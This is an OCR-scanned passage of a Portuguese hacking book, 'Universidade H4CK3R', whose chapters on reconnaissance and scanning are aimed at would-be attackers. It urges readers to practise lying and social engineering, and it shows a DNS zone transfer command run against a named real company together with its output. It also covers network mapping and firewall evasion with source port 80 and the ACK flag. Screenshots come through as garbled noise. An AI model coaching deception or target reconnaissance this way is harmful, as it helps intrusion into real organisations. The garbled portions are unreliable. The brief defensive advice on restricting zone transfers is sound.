AUTOEXEC.BAT s por desencargo de conscincia. Quase ca pra trs. No
incio do arquivo, duas linhas:
@ECHO OFF
C : \AUTOEXEC _ BAT
No preciso dizer mais nada ..
Ataque. defesa e contra-ataque: Introduo I
Universidade 3 Ano
Uma palavra final sobre planejamento
Se voc chegou at aqui e exclamou: P u x a mas ele no ensinou nada difcil!
Que porcaria de livro!", sinto muito, mas este livro realmente no pra voc. O
objetivo do captulo foi mostrar, sob o pretexto de uma invaso simples, como
organizar-se para tal.
Nos prximos captulos veremos os passos seguintes de nossos ataques: obser
vao, busca, invaso, manuteno e evas<10. Algumas tcnicas adicionais e locais
onde encontrar mais informaes a respeito sero includos. Mas com o que
temos at agora (e com um pouco de disposio para pesquisa), j possvel
atacar, defender e mesmo contra-atacar quaisquer pessoas ou instituies.
Os autores voltam a infonnar; a responsabilidade do uso deslas informaes
sua, no nossa. Handle with care.
12231
I Ataque, defesa e contra-ataque: Introduo
Ataque, defesa e
contra-ataque:
Observa co

Captulo 11
"You have to be trusted
by lhe peopie you lied to
50 when they tum lheir backs on you
you have lhe chance to pu! lhe kmfe ln
Roger Waters. "Oog
I "Ocl"t$ ler:l confi;lnlI rbs pe5S03S P'lI:l quem nU-lIIiSfe /
qUimdo /e vinrcm I .. CQSI;JS I rCr;l;S ;;J eh.mce de II {elGil
00 Jlbum Aonim.:lls (Pink F1ord), de
Univen.idade H4CK3R I
1226 1
A diferena entre os script kiddies e os black hats mais espertos comea nesta
fase (na verdade, comea na anterior, mas muitos black hats reconhecidameme
bons tambm negligenciam a fase de preparao ... ). Assim como quadrilhas ob-
servam bancos por meses e seqestr.ldores acampam em frente C<IS<I de suas
vtimas, atacames digitais dignos desse nome tm de observar suas presas
longamemc antes de mergulhar sobre elas como falccs sobre frangos-de-Icite.
Este captulo tnuar rapidameme de algumas ;Ireas nas quais o candidalO a
invasor poder procurar par.! angariar informaes sobre as empresas, pesso-
as e, principalmente, seus sistemas computacionais e de conectividade.
Resumindo: quer brincar na rua? Antes faa o dever de casa!
Engenharia Social
No captulo 6, tivemos um primeiro contato com a arte de mentir. Como a
mentira, a impostura e a desonestidade so to amigas quanto os primeiros
macacos fal:lmes que vagavam por a, no h meios descrever todos os proce-
dimemos possveis.
No vamos, aqui , chover no molhado e repetir o que dissemos no captulo 6.
Use a maldade que 100% das pessoas tm escondida por a em algum camo e
desenvolva seus prprios mtodos. O que funcionou para Mitnick pode no
funcionar par.!. voc.
Dicas? A vo algumas:
Faa aulas de teatro. Dica bvia.
Impostao de voz, segumna e firnleza so importantes. Faa aulas de canto.
Procure livros sobre progmmao neurolingstica. Vai quebrar um galho.
Acostume-se a olhar SEMPRE o lixo, mesmo em cas;a! Seja um black hat de
hbitos .. .
Minta par.! seu chefe, panl sua me, para o padre em confisso. Treine a
mentira. Ela sua ferramenta mais poderosa. Nem todos os scanners do mundo
podem descobrir as coisas que simples perguntas feitas com a emonao cor-
reta conseguem em cinco minutos.
No basta saber o que est fazendo. necess.1.rio saber por que eSL1. fazendo. Se
voct: tem lIm:! resposta na ponta da lngua quando perguntado e i por que voc
quer invadir minha empresar, pode seguir em frente. Mas no se esquea de
que, uma vez dentro, voc ser T'J.streado. Se voc j sabe o que quer fazer quando
estiver entre os muros do castelo, timo. Se no S:lbe, no tente! E no esquea
que, dependendo de seus intentos, voc estar incorrendo em algum crime.
Ataque. defesa e contra-ataque: Observao)
Universidade 3Ano
A grande teia
Posso contar nos dedos a quantidade de coisas que no achei pela Internet.
Certa vez, estava ajudando minha namorada francfona a procurar algumas
letras de para inserir em uma compiJaflo que ela estava fazendo.
Uma das msicas, "" ir.l " (que possui diversas verses com diferellles letras),
estava sendo duro de encontrJr. Segue o dilogo:
- No consigo achar esta aqui.
- Qual ?
j(fl ", vrias gravacs, elllre elas a de Edith Piai.
-J tentou noAllTheWeb?
-J, tambm no Google e no Aha Vista.
- Como vc tentou?
-Procurei pelo nome, s. Depois tentei nome da msica mais Edith Piaf.
- Posso tentar? Normalmente, eu uso, para letras em ingls, o nome da
msica, o nome do artista mais a palavra Iyrics. Como letrJ em francs?
-Parole.
-Tenta a: a ira piaf parole
Ela tentou e, para sua completa estupcfao, encontrou vrios sites com as
letras, inclusive alguns contendo referncias cruzadas, as vrias verses
agrupadas e aspectos histricos e sociais ligados a elas.
A Internet , no geral, e a World Wide Web em especial , so prdigas em infor-
maes sobre sua pessoa, seja cl:l fsica, ou seja jurdica. Muitas delas foram
colocadas l por ningum menos que voc mesmo. Seus funcionrios, se voc
os tiver, tambm so grandes fontes de informao. Vejamos.
o Google seu amigo
impressionante como os robs desses mecanismos tr<lbalham direito! Quem
no sabe como o Alta Vista tcm catalogado todos aqueles links merece uma
explicao rpida.
Il dois tipos de mecanismos de busca: os catlogos (:I traduo certa para
directory, apesar de muitos traduzirem como diretrio .. .) e os baseados em ro-
bs. Catlogos so simples listas de sites que os prprios interessados inscre-
vem. Por exemplo, o Yahoo! hospeda sites em seu brao corporativo Geocities.
Esses sitcs automaticamente entram no C'J.tlogo do Geocilies, que adicionalmen-
te aceita inscrics em seu catlogo de sites externos. Quando inscrito, um pro-
grama-rob vaITC todo o site (11 pessoa e cadastra as p:tlavrds-chave do texto.
Um site baseado em robs usa um programa parecido com o dos catlogos. A
diferenll que ningum precisa Gldastrar nada: os robs farejam um link e
saem seguindo esses links Internet adentro. Como as pginas normalmente
Ch;lIl1:lIl1 outrJ.s pginas, um tmb:llho sem fim.
1227 1
I Ataque. defesa e contra-ataque: Observao
I Universidade H4CK3R I
228 1
Isso posto, fcil imaginar que t:."'I
- os robs um dia chegarao ao SEU D o.l 5:-4. (>
website. Talvez voc ou sua em- __ 'I
presa no tenha um websitc, mas Google S ... c-= ' t==)"
seguramente usa e-mails e assi- e_ .. _o __ .. _
na listas de discusso. Ou acessa
a Usenet. Ou ainda se inscreve em
outros sites pblicos, como o
Ilotmail , e deixa seu perfil vis-
vel ao mundo. S a tnllo de exem-
plo: eu (Henrique) no possuo
um website prprio. Mas sou bas-
tante ruidoso na Internet ; assino
dezenas de listas e tenho alguns
artigos publicados em revistas e
jornais. Uma pesquisa pelo meu
nome resulta em:
_ -_.-
-_.- 1
-----1
_.
-
----
--
_1'-__ . ____ _
----
---to
------ ----"
- ,------ L ___ "":"
- ... _-
----_ .. -
i
---_ ... --
.... --_ ..
P"'--'"--'''
___ 0 ___ _
-
--
--
. ----
=,,""..L-
... _--
--",-- -..
--
,
-.. -------.-.-
_- - om- ___ -
____ .. _ ____ '''00 _ _
_ ...... .. _ ... -----
.. ,- _.--."-;;;':,,--
1M- t e _____ -
__ _Horn_ ,, ____ .
__ ...
-----_ ........ _-

--
_._--- .. _ ...
----...--.. __ .. -
_ _ _ .. c;..-._

Experimente procUI"M pelo seu nome, e
pelo nome de sua empresa para ver o que
voc disse e o que dizem de voc. Procure
tambm pelos nomcsde seus empregados, for-
nen.--dores, dientes. Voc ver que possvel
;mgariar diversas infonnacs dessa fomm.
Todos os mecanismos de busca possuem
refinamentos na procur.t. ii possvel procu-
rar por fonnato de arquivo, data, ocolTn-
cia, partes de URLs ou mesmo pginas que
apontam par.! uma URL em especial .
Por exemplo, usamos o GoogJe par.t
procur.tr sites que apontam pam a
Conectiva (www.cQnectiva.om.bV.
O resultado seria este:
Observe o comando na rea de busca
do muito bem
no A1u VISta (W\YW,altavi,1a.com) e no
AllThe Web <www.allthewb.com).que
tambm pos.'iuem diverslS op<.-s de
buscl av.:mad:l.
Ataque. defesa e contra-ataque: Observao I
Universidade 3Ano
At tu, Brutus?
MaS o perigo pode estar em casa! Voc j oUlou seu sile pessoal ou o de sua
empresa? Em uma garimpagem bcm-feita (ajudado, pasme, pelo mecanismo de
busca que o pessoal da Web colocou para auxiliar o internama!!!), o atacante
pode possivelmente angariar ;algumas dessas valiosas informaes:
Tecnologia: v pgina de TI do seu site. Quero ser mico de circo se O
pesso:al d;a rea no colocou lima lista completa com as tecnologi:as em uso. l'!:
possvel que, at por questes contratuais, sua empresa seja obrigada a colocar
um selo Powered By no site. Mesmo no sendo, :a maiori:a dos sires possui.
Empresas e funcionrios normalmente so orgulhosos das solues tecnolgicas
que :ajud:am :a implementar e ficam tentados a colocar informa es
completssimas nos sites. Hackers ;adoram isso!
Relacionamentos: muitas empresas divulgam (intencionalmente Oll no)
infonnaes sobre seus parceiros, fornecedores, clientes e consultores. Muitos
:at coloc:am dados sobre :a concorrncia! Algum pode estar usando as infor-
maes do SEU site para atacar a empresa para a qual voc trabalha. Mesmo
funcionrios costumam colocar infonnacs restritas em seus sites pt:ssoais.
Informaes corporativas: cultura, linguagem, funcionrios importantes,
prcmiacs, operrio-padro, filiais, nomes, nmeros, ramais e e-maUs de funci-
onrios ... Esse o tipo de informao possvel de obter apenas pesquisando o
si te da empresa. Alm de facilitar ataques remotos, possvel personificar O
da empresa para penetrar em suas instalaes fsicas. Uma
vez dentro, o de sempre: engenharia social, sniffers, backdoors, roubo de docu
mentos e mdias ...
Notcias: cuidado com os comunicados de imprensa e not<ls public<ldas
como notcia em seu site. Infomlacs importantes podem vazar nas entreli-
nhas. Quem, como os hackers, est habituado a enfumar-se em depsitos de
lixo e caambas de detritos para angariar frdgmentos de iJormao (sujos de
Ketchup e papel higinico usado) no ter nenhuma dificuldade em pegar da-
dos prontinhos organizados na rea de notcias do seu site c cruz-los entre si.
Quem esse cara?
Quem tem um domnio, teve de registr-lo em algum lugar. No Brasil , qut:m
cuida dos registros de dominios " FAPESP (registro.br). Quando se faz o rc-
gistro, as informacs s.io guardadas num banco de dados chamado whois (em
"quem "). Cada domnio-raiz tem seu prprio banco de dados de
whois. Por exemplo, os domnios .com, .mil e .edu (todos none-americanos)
tm seus prprios bancos de dados whois.
Verificar o banco de dados whois muito fcil. V ao Registro.br e digite o
(Iomnio no campo correspondente.
1229 1
I Ataque, defesa e contra-ataque: ObselVao
I Universidade H4CK3R I
1230 1
Clique no boto PESQUISAR. A
.. , ".
__ \!oo. __ __
janela Whois vai mostrdr os da-
v':' ,:_
".
44..q,
..
I
dos de registro formatados nes-
... -....... -
--
-,-
se padro. Em nosso exemplo (o
.....
11< .. ..-..10.0 fI<-gB'" .IH
whois de br), temos:
........ - .. "._ ......
I'
,
_,_,_" "",_,-",,_,<-.1
.. -
--_ .. -
-_ ... !-----
-
-",""",,.-. I-I
_ .... -
''''
,c v.-
,
. o.l <tl..<:l.. <>
-
-
---
;a,_ .... _
. ,_ .... -. __ ._-
-.
.
-_ .. _ .. _._ .. , .. ...
---
fL.
....._-
_ .. _-
.... _-_ ..... _ ... _...., .. _ ..
'_ .. --
-
c .... _ ....... . __
,
=; ::..:.,-, .. --,---1
--_ ... _ .. _-_ ..
-_ .. -.. .. _ .. _._ .. _ ..
,
1-"')
1I_ .. 00'"t< .. c .... _ ... , .... __
'-.""..., ........
I
"!:-,_I_, .... ,-.,,.,....,,,_,o-.I
. ,.. .... _,,_ ... _--
, .......... _ .. .. __ ... _ ..
..,
.......... __ ... ,,-_ ..... -
, .. -" ... -. ..,' ... _ .. _ .......
......... 01_
__ ".Don 'M .... ,
-
.......... "" .
S na base de dados Whois temos a rd-
--
-,,-,< ..... _ ... ,,
_. _ ... _ ...
-'
--
zo social da empresa, o nome complelO
-
" __ ,,",,,lf_
-
--
.-
.. -
,...,...,._"
dos responsveis por ela, endereos, tele-
._-
-
.. _,
-
fones, e-mails ... J uma excelentc fonte de
11 <_'
-
"-
-
_ ......... ..
-
ruldos grtis. Mas ateme para este detaUle:
servidor IlIS: /lSl.l.OCAWF1I.COI.1IJ!
Noooossaaaa!!! J sabemos quais so os dois ser-
vidores dc DNS que esse domnio usa. Apenas com
os dados que garimpamos na Web, j somos capa-
zes de fazer diversas malvadezas com o domnio.
IUtus DHS: 06/04/2003 M
1l1ti-.:J M: 06/04/2003
seIVidor IJIS: 1IS2.1.OCAlItR.COI.RR
IUtus DHS: 06/04/2003 M
Lllti-.:J M: 06/04/2003
criado: 16/0111998 182(i24
alterado: 11/03/2003
status: publ;odo
Sign your name across my heart
T<:x.la ... essas infunna()es que vimos at aqui ne.1e capnllo fomm obtidas exdusivd-
mente usando .seu navegador Web. Nenhuma ferramenta especial foi necessria, e
voc no incorreu em nenhum crime, JX>is pesquisou em reas e bancos de d'ulos
pllblicos. Mesmo assim, am:Gldou infomla()es perigosssimas que podem colocar
em risco,se Ixm (mal?) usadas, (oda wna corpom:l0. MIS nem s a web nos d o servio.
Agord que sabemos os endereos de lOdos os DNSs do domnio que quere-
mos atacar, vamos dar uma olhada neles. No vamos discutir os fundamentos
tcnicos sobre DNS. Se o leitor no souber como funciona um sistema de
Domain Name Server, sugerimos o exceleme livro DNS e BlND, de Paul Albitz e
Cricket liu (EdilOrd 'Reilly).
Assim como nos sc:rvidores de whois, o DNS possui informaes que, obriga-
toriamente, devem estar abertas e disponveis ao grdnde pblico. Comunica-
o por e-mai l, sites Web e servidores de FTP so trs exemplos de servios
que, mesmo vivendo sem o DNS, dependem dele par.! dar aos usurios uma
forma mais fcil de guardar endereos na Internet.
Ataque, defesa e contra ataque: Observao I
Universidade 3" Ano
Il ferramentas de linha de comando, tanto no Windows como no Unix, que
podem recuperar informaes valiosas sobre DNS parJ. os hackers. Adicional-
melHe, o Nessus um exemplo de scanner de vulner'J,bilidade que, entre outras
coisas, recuperJ. itomlaes de servidores DNS.
O gr:.mde problema da tecnologia de DNS so as lr.lI1sferncias de zona ou
zone lr.ms[crs. Quando um provedor ou empresa pe no ar um sistema DNS,
normalmente coloca mais de um servidor (posicionado em localidades diferen-
tes) para atender aos programas que dependem dele. Um deles ser o DNS
primrio, os outros sero secundrios ou escravos. Ozone lransfer um proce-
dimento criado para transferir dados entre lodos os DNSs daqude domnio ou
zona (zona um conjunto de vrios dom1nios, ou antes, de vrios subdomnios
num mesmo domniO).
O que ocorre que apenas hosts autorizados deveriam poder fazer transfern-
cias de domnios. Se meu DNS primrio 204.2fKUOO.99 e meu secundrio
204.200.200.250, apenas o 250 poderia solicitar zone transfers do 99 e vic-
versa. Observamos, entretanto, que quase a totalidade de ON$s ao redor da Terr.l.
pennite zone transfers solicitados a partir de qualquer n rui Gr:.mde Rede.
Um exemplo prtico. Em lima estao com linux, o comando digo Esse
comando pode ser encontr:.ldo t:ullbm em alguns Unix. Ab.-J. um terminal c digite:
$ dig @NS1 . locaweb . com. br d i gerati . com. br AXFR
A sintaxe simples. O primeiro arglUTlento o nome do scrvidor DNS (poderia ser
t:Ullbm O IllUTlero LP). O segundo aI'b'Wnento o domniO que se quer pesquisar e o
terceiro (AXFR) indk'a que queremos fazer um zone tr.lIlsfer. A sada do comando c:
Di 9 . 2 . 1
;; globlL options : prlntC'"'ld
digerati . com. br .
"dm;:I . 1oc-4web . com . br . 8
1iger<'Ji . c:om . br . o
diger,, . . com . br . o
digecc>: i . com . b r . o
diger,, , . corr" br . o
diger(!lt i . com . b r . o
itp.digerat i . c:om . br .
smtp . digerat i.com. br .
pop . digerat i. com . br .
mai 1 . digera ti. c om. b r .
www . digerati . com. br .
wap.digerati . com. br .
N
N
o
o
o
o
o
)
8Q.:5e,ver . dig-erati . cotr. . br . )
:aweb . com br d l gerat i . . br .>,XFR
rr.; SOA hr: -
36\ O 600 864 O 3600
NS NS1 . locaweb . com . br .
NS NS2 . 1ocaweb . com . br .
NS NS3 . 1ocaweb . com . br .
A 200 . 246 . 179 . ;':)2
M'
'"
'"
'"
'"
IN
IN
IN
10
A
A
A
A
A
A
A

200 . 24 6.179 . 102
200 . 182 . 98 . 136
200 . : 82 . 98 . 136
200 . 182 . 9 8. 136
2:'\C . 246 ._ 19 . 102
":;C . 246 ._ !9 . 102
20) . 246 ._ '9 . 82
b, .
webmai: . digerati . com. br .
,
l N CNAM! pop . digerat i . c:om . br.
smtp-gw. diqeraci . c lN A
digerav 360) SOA
admin . locaweb . coJr. br . 8 1600 600 86400 3600
. Query time : 88 1 msec
SERVER ; 200 . 2 4 6 . 179 . 12.i . 53 (NS1 .1ocawe b. com . br)
.. WHEN: Tue Apr 8 12 : 28 : 50 2003
,. XFR size, 17 r ecords
1231 I
Ataque. defesa e contra ataque: Observao
I Universidade H4CK3R I
12321
Cn;eedooo! Um simples comandinho nos disse que o servidor de SMTP da
empresa est em 200.182.98.155, e que os servidores Web e FTP dividem a
mesma mquina em 200.246.178.102. No estamos consider.tIldo, por enquanto,
interfaces de rede com mltiplos IPs, mas, de qualquer fonna, a realidade pode
ser um pouquinho diferente da que foi mostrada na lista. Mesmo assim, um
excelente ponto de partida para fazer mais pesquisa, comear miniataques
(lembra deles? 1234 1234 ... ) e elaborar seu plano de ao.
Outros exemplos de ferramemas para fazer zone transfers so o j citado
Nessus (com verses para Unix e Windows), o host, disponvel na maioria dos
Unix, e o veterano nslookup, presente tanto em Unix como no Windows. Note
que o nslookup para Linux no faz zone transfers!
Defesa e contra-ataque
Infelizmente, no h muito como se defender de infonnaes obtidas por
meio de bancos de dados whois. As informaes desse servio devem estar
disponveis universalmente, portamo no h o que fazer. Casos recentes de
defacements (como o do site da Diger.l.ti Editorial) foram possveis usando as
infonnacs obtidas por whois e, depois, com um pouco de engenharia social ,
obtidas as senhas para alterao do DNS. um tpico caso de falha humana. O
problema no foram as informaes de whois, mas as senhas fracas e a
vulnerabilidade social .
J os zone transfers de servidores DNS podem, sim, ser evitados. Crie regras
em seu servidor para restringir zone tr.l.nsfers apenas entre servidores DNS do
seu domnio, bem como dos root-DN5-servers.
Como no h nada de ilegal nas atividades do black hat at aqui , pois as
ilonnaes obtidas so todas pblicas, no h como lanar um contra-ataque.
Mesmo porque, devido ao trfego gigantesco, rdstrear acessos a servidores de
whois e DNS tarefa impossvel.
Mas, SIM! possvel tomar medidas preventivas (alm de restringir ozone
transfer - isso muito ilnportante!) para evitar que infonnaes desnecessri-
as vazem para a Internet. Entre elas:
Faa uma faxina em casa! Vasculhe seu site e retire tudo o que pode d'lr,
indevidamente, infonnacs confidenciais ou restritas que possibilitem um ataque.
Crie polticas sobre o que pode ser publicado no site e veiculado por
e-mail. Crie punies (infelizmente, necessrias) caso algum funcionrio ponha
em risco a empresa divulgando o que no deveria. E nada de colocar bandeiri-
nhas com "Powered by Windows NT4" ou "Running Linux 2.2".
Ataque. defesa e contra-ataque: Observao I
Universidade 3( Ano
Faa campanhas preventivas, alertando os usurios de e-maUs para o perigo
de enviar dados internos da companhia para fora. Pegue aquela pesquisa que
voc fez na Web com os nomes ou e-mails de seus funcionrios e monte uma
apresentao para ilustrar suas campanhas.
1233 1
Ataque, defesa e contra-ataque: Observao
Ataque, defesa e
contra-ataque :
usca
Captulo 12
'Pedi; edar-se-vos-: busca,; e achareis: batel;
e abrir-se- vos-. Porque, todo o que pede,
recebe; e, o que busca, acha. U
IMat eus,VII : 7- 11 1
I Universidade H4CK3R I
2361
Assim como os militares, que usam os servios de inteligncia par.t elaborar
relatrios sobre o alvo e s depois vo a campo para observ-lo, ns tambm
tivemos de angariar todas aquelas infonnaes, elabor.tr planos de ao e fa-
zer um roteiro de ataque. Nesta nova fase, faremos o que os militares chamam
de reconhecimenw: conferir os dados obtidos, preencher eventuais lacunas,
corrigir distores e obter dados de reas antes inacessveis. Lembre-se: depois
de voltar das buscas, realimentaremos nosso roteiro com as infonnaes obti-
das. Nunca fuja do 1-2-1-3-1-4-1-5-1-6-1!
Cartografia aplicada Internet
Chegou a hor.t de descobrir como a rede de nossa vtima. O hacker usar
ferr.tmentas de scanning, como as que vimos em Vulner.tbilidades I e II, par.t
testar a rede e descobrir, primeiro, como ela montada (topologias, sistemas
de firewall e IDS, servidores e estaes - incluindo a seus sistemas oper.tcionais)
e fazer um mapa o mais detalhado possvel do que, par.t ele, ainda so "mares
nunca dantes navegados".
Vamos comear com um diagrama simples:
Rede Privada
~ ~
192.168.1.0 192.168.2.0
~ ~
192.168.3.0 192.168 . ..0
2 0 0 x x ~ 1 0 2 0 ZOO.JOOC.20.30
$MTPfPQP Servios Diversos
Internet
2OO.JOOC.20.10
SQL Server
Ataque, defesa e contra-ataque: Busca I
Universidade 3 Ano
Em nosso diagrama, o h<lcker ainda no conhece os computadores de nossa
rede, representados em cor esmaecida. No decorrer deste captulo, medida
que ele for identificando as diferentes mquin<ls em nossa rede, as estaes vo
ficando ntidas. Posteriormente, computadores (ou seja, j invadidos
pelo hacker) sero represent<ldos pelo conc "doente.
Observe que h um fLltro de pacotes e um proxy, guisa de firewall. Essa
configurJ.o cria a chamada Zona Desmilitarizada ou DMZ. Nela, os servido-
res com acesso pblico permitido (Web, Ffp, SMTP .. ) ficam pelo
filtro de pacotes, que bloqueia (ou deveria bloque<lr) qU<llquer comunino
vinda de fora e que no seja destinad<l a servios especficos dos servidores.
Mesmo conexes a servidores deveriam ser bloqueadas: uma conexo na porta
80 (H1TP) s permitida se o seu destino for realmente o servidor Web e no
o de SMTP Conexes de fora em direo rede interna, nem pensar ...
O proxy, que fica na borda entre a rede interna t o DMZ, trJZ uma camada
<ldicional de segurJna e evita que as estaes internas conectem-se Internet.
Do contrrio, elas conect<lm-se <lO proxy e ele (apenas ele) com a [nternet.
Com esse artificio, para quem v de fora, a rede interna composta, apenas e
to-somente, pclo proxy. O prprio proxy pode ser invadido e ess<ls restries
contornadas, mas isso conversa parJ mais adiante.
Varre, varre, vassourinha ... '
Todos lembram do Nmap e do Nessus? Eles so timos. Praticamente tudo o
que precisamos para descobrir coisas nas redes dos outros pode ser consegui-
do com essas duas ferrJmentas. Mas, para fms didticos, vamos usar duas das
ferramentas mais bsicas e presentes em todos os sistemas operacionais que
possuam algum suporte a TCP/IP. Essas ferrJmentas so o ping e o traceroute
(tracert no Windows).
O ping um programa minsculo que faz uma niC"J coisa na vida: manda um
pacote ICMP Echo Request (veja em Redes II) para verificar se um detenninado IP
existe ou se a mquina que
possui aquele IP est on-line.
Assim, podemos testar toda a
faixa de IPs designada para
aquela empresa ou organiza-
o, para saber quais desses IPs
representam mquinas ligadas
diretamente na lnternet.
Uma vez com a lista de IPs
na mo, o hacker faz um
desenho pan."'Cido com este:
Todos os Ips
200.xxx.10.n
8
8
8
200.xxx.20.10
J ]inglc da camp:ml!a presidencial de Fillia QU3dros. em /956.
8
1237 I
I Ataque. defesa e cont ra-ataque: Busca
I Universidade H4CK3R I
238 1
Cada um dos crculos representa um dos IPs. Voltando ao nosso diagrama de
redes, a viso que o atacante tem de nossas mquinas esta:
o Haoker ni10 v
Hacker


!!! Web + FTP
!!Iii



ProKY + Gatewav
2OO.JOOl. l0.20
SMTP+PQP
2OO.JOOl.20.30
Servios Diversos

200.JOOC .20.10
SQL Server
Agora, O traceroute/tracert utilizado em cada um dos IPs descritos. A sinta
xe bem simples: traceroute -n IP.QUE.QUEREMOS.YERlFICAR. A sada de um
tr.tceroute se parece com esta:
1 192.168.1.162 0.524 ms 0.235 ma 0.204 ma
2 200.204.171.155 1.084 ma 1.040 ma 1. 028 ma
3 200.204.174.122 11.322 ma 18.636 ma 272.474 ms
4 200.207.199.121 602.530 ms 513.476 ms 524.081 ms
5 200.205.255.219 559.810 ms 531. 438 ms 610.651 ms
6 200.205.255.212 817.968 ms 596.748 ms 576.567 ms
7 200.205.254.134 527.308 ms 523.359 ms 548.114 ms
... (continua)
o parmetro n apenas par.t evitar que o traceroute procure por nomes DNS
dos IPs mostr.tdos. O hacker deve, diligentemente, anotar (ou gravar e imprimir)
todas as sadas do traceroute para tooos os IPs que ele descobriu com o ping. Se
tentar seguir essa lista de trs para frente, vai perceber que muitas das mquinas
esto encadeadas. Em nosso exemplo, vemos que a sada do traceroute do host
200.xxx.1. LO nos diz que a mquina anterior a 200.xxx.1.1. Ora, isso quer
dizer que as mquinas esto ligadas! Em nosso diagrama:
Ataque, defesa e contra-ataque: Busca I
Internet
Todos o s IPs
20 0.xxx.I0.n
200."'.20.10
Universidade 3
u
Ano
N=20
Cnlz,mdo os dados de todos os lraceroules, o hacker tero :l seguinte viso:
o Hackar nla.1
H. d e, ....
2OO.lOOl.10.20 2OO.lOOl.20.3O
SMTP.PDP Servios Diversos
2OO.AAl.20. 10
SQl Server
1239 1
I Ataque. defesa e Busca
I Universidade H4CK3R I
12401
Argh! Mas isso d trabalho!
Quer moleza? v sentar no pudim! Alis, existem algumas fermmentas que
fornecem o pudim pm voc. Uma delas o LAN Surveyor, da empresa LAN
Software Mas, em qualquer situa-
o, a melhor ferramenta (disponvel apenas para Unix) o Cheops
Cwww.marko.net/cheops). Alm de ter uma interface bonita e funcional, o
Cheops faz o servio sujo pr ... voc. Este screenshot (retimdo do site oficiai)
melhor que qualquer exemplo que pudssemos preparar:
File PllIe

M1


,."".
do!Olod.""
""!O!"".co.
pI>Oolle e. o
!3! l04208!
20123012ze
207.23072.6
I
Como voc pode perceber, o Cheops automatiza os procedimentos com ping e
traceroute (que tm de estar presentes no sistema) e ainda usa tcnicas de fmger
printing (que veremos adiante) par ... adivinhar o sistema operacional de ca(L1 n.
Procurando portas abertas
Em ambos os captulos de Vulnembilidades, vimos algumas fermmemas para
verificar se h servios em portas TCP oU UDP: Naquele momento,
vimos o portscanning como um processo isolado. Agom q ue sabemos onde se
insere no desenvolvimento de nossas buscas, podemos dar mais ateno a ele.
Embom existam cemenas de portscanners por a, indiscutivelmeme o Nmap
o que trJZ uma melhor relao custo/beneficio: gratuito, possui um bom
conjunto de testes e est em desenvolvimento contnuo.
Ataque. defesa e contra-ataque: Busca I
Universidade 30 Ano
P:lra saber as opes do Nmap, veja a pgina de manual (man nrnap) ou o
Help da verso Windows. As verses com fromends (Windows e Unix) possu-
em, no painel de comrole, chaves para quase lodos os testes e uma barra de
status na qual mostrado como ficaria a linha de comando. No vamos entrar
em detalhes de utilizao do Nmap aqui. Em vez disso, vamos falar sobre as
form;IS diferentes de ~ t o r e r ~ o handshake TCP.
O comando Nmap rod:ldo sem argumentos f:lz lima conexo completa na
porta testada, o que quer dizer que todo o handshake TCP respeitado. Obvia-
mente, esse scan extremamente ruidoso e facilmente detectvel.
Escolhendo as portas de origem
Algumas redes permitem que cenas portas de origem possam originar cone-
xes de fora da Internet. Como vimos, em Redes II , os filtros de pacotes que
funcionam como firewalls barram conexes vindas da Internet baseadas em
regras. Entre as regms mais comuns e manjadas est aquela que barra todas as
portas no privilegiadas (ou seja, maiores que 1023) vindas de fora para den-
tro da rede. Com isso, o administrador pensa que est protegendo sua rede de
conexes originadas da mquina dos hackers.
Ele pode at pensar, mas pensa errado! Nada impede que os hackers mani
pulem as portas de origem de seus pacotes TCP e UDP enviados ao fireW'.l1l
da vtima, fazendo-o pensar que so respostas vlidas li requisies vindas de
dentro da rede.
O exemplo clssico a port;l SO. Se o black hat combinar a Ulilizao de 80
como sua porta de origem (os portscans dignos desse nome permitem iSSO) com
o flag ACK aCionado, o bobalho do firewall vai pensar que este um pacote
vlido - e o deixar entrar.
Firowall
(filtro de pacotesl
Rede Privada
Internet
"tudo bem. pode passar'
1241 I
I Ataque. defesa e contra-ataque: Busca
I Universidade H40]R I
242 I
Outrds portas que podem ser de interesse: 20 (resposta de FTP), 21 (requisi-
o de FTP), 25 (resposta de SMTP), 53 UDP e 53 TCP (requisio e resposta de
DNS) e 666/667 TCP e UDP (resposta do servidor de Doom e Quake - tenha
certeza, seu administrador deixou estas abertas para jogar nOite). Veja bem:
estamos falando de portas de origem. As portas de destino sero escaneadas.
Talvez um estudo da RFC 1700 (www.ietLorg/rfc,hymD seja revelador.
P'dra encontrar quais portas o firewall est deixando passar alm dessas
bvias, podemos usar padres de fingerprinting (que veremos mais frente),
combinados com as tcnicas de traceroute e ping, para descobrir como funci -
onam as regras dos firewalls. No h muitos softwares bons que fazem isso,
mas um digno de nota. Existe exclusivamente para Unix e se chama Firewalk.
Disponvel em www.packetfactory.net/firewalkl. possui uma documentao
que, se no grande, pelo menos bem completa. Com o Firewalk, fica muito
fcil detenninar as portas abertas de um filtro de pacotes funcionando como
firewall e, depois, aplicar portscans direcionados s mquinas internas passan-
do por essas portas no filtradas.
Varrendo sob o tapete
H v,uias fonnas de usar portsc;U11leffl IX",I verificar ;LS portas alx"'1tLS. J mnh(."'CeTIlOS
O handshake completo e a conexo por ACK (vistos em Redes II).Abaixo, segue tuna lista
mmpk..1:a das possibilidades usando OS flag; do Tcp' e, de qtx:Ur.I, tU11 sc.'U1 UDP:
TCP Conneet Sean: scan facilmente detectvel, executa os trs handshakes
bsicos (SYN, SYN/ACK e ACK). O sistema realmente completa a conexo en-
tre o servio sendo eseaneado e o scanner - e, pard isso, informaes comple-
tas sobre o aplicativo-cliente (o scanner) so passadas ao servidor (o servio).
TCP SYN Sean: Conhecido como half-open scanning, devido conexo total TCP
durante a operao. Dessa fonna, ele evita que o log da operao fique no sistema.
Nonnalmente, o progrJ.ma envia um pacote SYN para a porta alvo. Se recebido
um SYN/ ACK do alvo, o programa deduz que a porta esLi no modo de escuta; caso
seja um RST/ ACK, significa que a porta no est ativa naquele momento.
UPD Scan: Trata-se de um dos processos mais lentos e imprecisos de scanning,
pois depende de fJ.tores de utilizao da rede e de recursos de sislema. O scanner
envia um pacote UDP parJ. a porta alvo: se a rt.""Sposta for ICMP port tUlreachablc, a
porGl encontra-se fechada; caso contrrio, o scamler deduz que a porta est aberta.
TCP NulI Sean: Neste caso, o scan desativa todos os flags e aguarda do alvo
um RST, que identifica a porta como fechada. Se nada responder, a porta pode
estar aberta (mas no certeza).
TCP FIN Sean: O scanner envia pacotes FIN para a porta alvo e c ~ p e r o
retorno de um RST, identificando as pOrlas fechadas. Se nada responder, a por-
ta pode e ~ t r aberta (novamente, sem nenhuma certeza).
TCP Xmas Sean: O scanner envia pacotes FIN, URG e PSH para a porta alvo
t: espera o retomo de um RTS para portas fechadas. Nenhuma resposta indica
possvel porta aberta.
